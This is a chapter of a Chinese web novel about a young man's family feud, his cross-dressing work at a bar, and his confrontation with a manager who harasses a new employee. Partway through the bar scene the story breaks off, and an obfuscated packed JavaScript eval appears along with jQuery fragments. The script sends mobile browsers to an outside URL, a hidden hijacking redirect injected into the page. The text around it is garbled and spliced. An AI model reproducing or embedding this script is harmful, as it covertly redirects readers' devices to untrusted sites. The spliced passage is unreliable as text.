第五章


    林染青是被门外争吵声吵醒的。


    房间的隔音明明还不错，可楼下妇人尖锐的闹喊声依旧穿透门缝刺进耳膜之中。


    “这就是你的好儿子？！”


    “都是他害得我们安双变成那样！！”


    林染青伸了懒腰。


    他并不喜欢回家，但没办法，昨晚有家宴，他不得不回来。


    林染青洗漱好准备下楼时，妇人仍在饭桌上吵闹。


    饭桌另一端的男人任凭她说，冷着张脸一言不发，林安双缩在饭桌角落，埋头扒饭。


    妇人一片怒火无处发泄，听到脚步声，抬起头看到林染清时，本就愤怒的表情变得愈发不可收拾。


    “如果不是你把他带回来，我们安双会变成这样？！”


    “都是你，都是你把他带回来害了我们安双！！！”


    林染青看到被丢在沙发上的、他昨夜找了许久没有找到的衬衫，顿时明白了今天苏韵兰今天争吵的原因。


    林安双又偷了他的衣服。


    又。


    林染青看热闹不嫌事大的倚靠楼梯围栏看着苏韵兰发脾气。


    林安双看到林染青，眼睛亮了：“阿染，你睡醒了，昨晚睡得好吗！你好久没……”


    苏韵兰狠狠瞪向林安双，林安双瞬间噤声，低下头不敢说话。


    苏韵兰的怒火转向林染青：“我对你那么好，好吃好喝的待你，你就是这样对我的吗？对你哥哥的吗！！你哥是因为你才变成这样的！如果不是你穿衬衫勾引安双，他怎么会做出这种事！”


    林染青：“。”


    那只是一件非常非常非常普通且寻常的衬衫而已。


    “双哥喜欢的话，衬衫不用还了。”林染青早就习惯了苏韵兰倒打一耙，对苏韵兰道，“我将账单发给您，您转我就行。”


    苏韵兰眉目嗔怒：“你竟然还敢找我要钱？！”


    “双哥卡都被您断了，没有办法转我。”林染青理所当然道，“我只能找您呀。”


    苏韵兰被林染青两句话呛得哑口无言，瞪着双眼睛半天没说话，林染清不想搭理她了，下楼坐上座位，对一旁一言不发的男人道：“爸爸早安。”


    林津富点点头，终于开口，一句话终结了一早上的闹剧：“别吵了，吃饭。”


    林津富显然更满意林染青的反应，他既已开口，苏韵兰只能噤声，直到林津富吃完早饭离开家门才欲再次开口。


    “我的房间，桌子上有样东西。”林染青在苏韵兰出声前先一步开口，“你知道是什么吗？”


    苏韵兰不理解他的意思：“什么？”


    “摄像头。”


    林染青手肘撑住下颌，身体微微前倾，明媚一笑，“你再多说一句话，昨晚拍到的画面就会出现在集团所有人邮箱中，让大家看看我们双哥收藏别人衬衫的小癖好。”


    “你……”苏韵兰半边脸气得抽搐，怒火无处发泄，只能狠狠踹向一旁不敢说话的林安双。


    林安双试图阻止:“妈，您就少说两句……”


    “闭嘴！！”苏韵兰嗓音尖锐，指着林染青，“你知道安双会动，为什么还不放好？藏衣柜里他怎么拿！！！”


    林染青乐了。


    太好笑了。


    好笑到他懒得反驳——他根本不需要去反驳。


    “妈妈你这样怎么争得过我啊？”


    一句话说得苏韵兰脸色骤变，抬起手就要往林染青脸上招呼，林安双先一步拦住苏韵兰，苏韵兰又用同样的尖锐嗓音指责林安双，太吵了，林染青还挺想留下来看看这场母慈子孝的热闹，但他手机已经震了许多下。


    【戴南：到你家门口了。】


    【戴南：走呗？】


    十分钟后，林染青拉开车门：“久等了。”


    驾驶座上男人身着芭比粉西装，嘴唇、鼻子嵌了铆钉装饰，耳朵也带着十分夸张的耳饰，整个人张扬又个性。


    戴南。


    职业美妆师，现在手下带着一整个职业模特团队，是林染青美术集训时认识的助教，从A大毕业后进军美妆圈，以迥异夸张大胆的美妆风格闻名，从前经常拿林染青试妆，林染青的化妆技巧也是由戴南手把手教学。


    今天戴南找林染青并没有什么特殊事情，纯粹路过，顺带接林染清去酒吧。


    “听说你又被盯上了？还整什么直播告白？现在大学生们玩这么大胆了？”戴南笑道。


    “无聊。”林染青懒得回想陈屈皓那副愚蠢模样。


    “是是是，无聊，谁能玩得过我们林少爷？”前方是红绿灯，戴南缓慢踩下刹车，待车挺稳后，转头和坐在后座的林染青说话，“对了，你……”


    戴南是想问林染清问题的，但是看到林染青的样子，原本要说的话都咽进口中：“你每次换装的样子都让我很惊讶。”


    后座，林染青已经化好基础妆容，换好假发，戴南转头时，他正在换衣服。


    他出门时穿着一件十分宽松的T恤和牛仔裤，T恤脱下，里面是一套贴身超短裙，牛仔裤下藏着蕾丝过膝袜，腿环紧紧勒在腿上。


    戴南：“！”


    戴南：“你就是穿这个和你爸你妈你哥一起吃饭？”


    林染青抬起眼睛问他:“怎么了？”


    戴南悠悠道：“难怪你哥老偷你衣服。”


    椅背被踹了一脚，林染青脸上挂起微笑。


    林染青这一笑，漂亮的小嘴里准没憋好话，戴南可不想吃苦头，连忙转回身，恰巧此时信号灯由红转绿，油门踩下，车辆疾驰向前，窗景飞快后退。


    “你刚刚要问什么？”林染青的声音从后座响起。


    “哦哦哦！对对！”戴南这才想起正事，问道，“上周你们学校摄影社的小朋友来聊合作，我想了想可行，答应下来了，下礼拜出外景，有没有兴趣来给学弟学妹们当个模特？”


    -


    林染青抵达酒吧时，酒吧气氛格外热烈，只是后台的氛围似乎有些凝固。


    “不、不太好吧？”工作间中，众人一言不发，只有一个瘦小的女生弱弱出声。


    女生叫小文，来兼职的新人，说话声音不大，一双眼睛怯生生看向面前的经理王旺山。


    “哪里不太好。”王旺山往前一跨，占着个子居高临下的看着小文，“大家都没出声，就你有意见？”


    “可……你得征求Ivy姐的意见啊……”


    “这有什么好问的，我定的活动，当然都是我来决定。”王旺山，“你有意见，你想要替她吗？”


    “我……”王旺山个子高，身上又有股常年抽烟喝酒留下的烟酒味，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111359|164075||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凑的近了，小文有些害怕，往旁边躲了几步，纠结片刻，还是决定开口说道，“我觉得你很不尊重她。”


    “你还教育起我来了？”王旺山，“尊重尊重，谁给你钱你就要尊重谁！”


    王旺山又往前走了好几步，几乎要把小文挤到角落，一双手搭着小文的肩，不怀好意道：“你觉得不尊重Ivy，我看你长得也挺不错，不如也给你加个名额，也让你……”


    “在聊什么呢？”低沉女音打断王旺山的话，林染清——换上女装的林染青走了进来，环视在场所有人，最后将目光定格在王旺山身上，眼眸微眯，“我好像听到了我的名字？”


    “Ivy姐！”小文趁王旺山没反应过来，挣开他的手，连忙蹿到林染青身后。


    “这是怎么了？”林染清转头，笑着问小文。


    Ivy姐身上香香的，被王旺山身上味道熏得眉心紧皱的小文表情舒展许多：“经理今天对外宣发了活动，你看你看。”


    小文点出视频给林染青。


    视频不长，十来秒，也是在同样喧闹的酒吧中，女人口衔棒棒糖小棍一端，捧着一个男人的下颔，低着头，踩着桌子，将棒棒糖喂到他的口中。


    周围人群起哄，镜头晃动，画面戛然而止。


    “王经理也想搞这个。”小文轻声说，“已经发了传单印了号码发出去了，今晚抽一人，让你给抽中的顾客这样喂棒棒糖……可经理都没有问过你的意见，我觉得不好，这样不够尊重你。”


    “需要征求么？活动我定的，你们都是我手底下的人，我要你做什么，还要经过你同意？”王旺山丝毫不觉得自己有任何问题，眉毛挑起，颇有些自得：“既然你知道了，今晚就配合一——”


    王旺山表情在此时猛然变化，他的话根本没来得及说完，一只踩着高跟鞋的脚抬起，重重踹向他某个重要区域，王旺山来不及闪避，只能张开腿避开要害地方，高跟鞋踩在椅面之上，王旺山整个人瘫坐在凳子上，冷汗直流。


    这一脚要真踹到，那哪里敢想会发生什么。


    “你、你居然敢动手？！”王旺山心有余悸，却强装镇定，“你来干这份工作不就是为了出卖色相么？没这张脸，谁愿意为你花钱？！”


    “那你连色相都没有，你是靠什么挣钱，不会是……”林染青踩着椅面，身体微微向前倾，表情惊讶。


    “胡说什么你，你算什么？！你就不怕我……”


    王旺山的话再次被打断。


    他的眼前，林染青懒得陪他演，也懒得听他说话，笑意消失，只丢下冰冷的两个字：“道歉。”


    王旺山冷笑：“你还要我向你道歉？做梦！！”


    “向小文道歉。”


    王旺山一愣，小文同样一怔，诧异的看向林染青：“我，我不用，经理他也没……”


    话音未落，林染青直接掀起王旺山的领子，他们有明显的体型差距，王旺山根本不知道他哪里来的力气，轻而易举的就将他提起来，往墙上撞，后背撞得生疼，低沉的、冷漠的嗓音噙着丝毫不带掩饰的厌恶和嫌弃在他耳边炸开。


    “抽烟喝酒半点好不沾，浑身沾满臭味没有尊重满口给人类进化史拖后腿的价值观，脑细胞零开发没长相没身材没身高职业卖屁股的恶心中年男人凭什么靠近人家小姑娘？？？”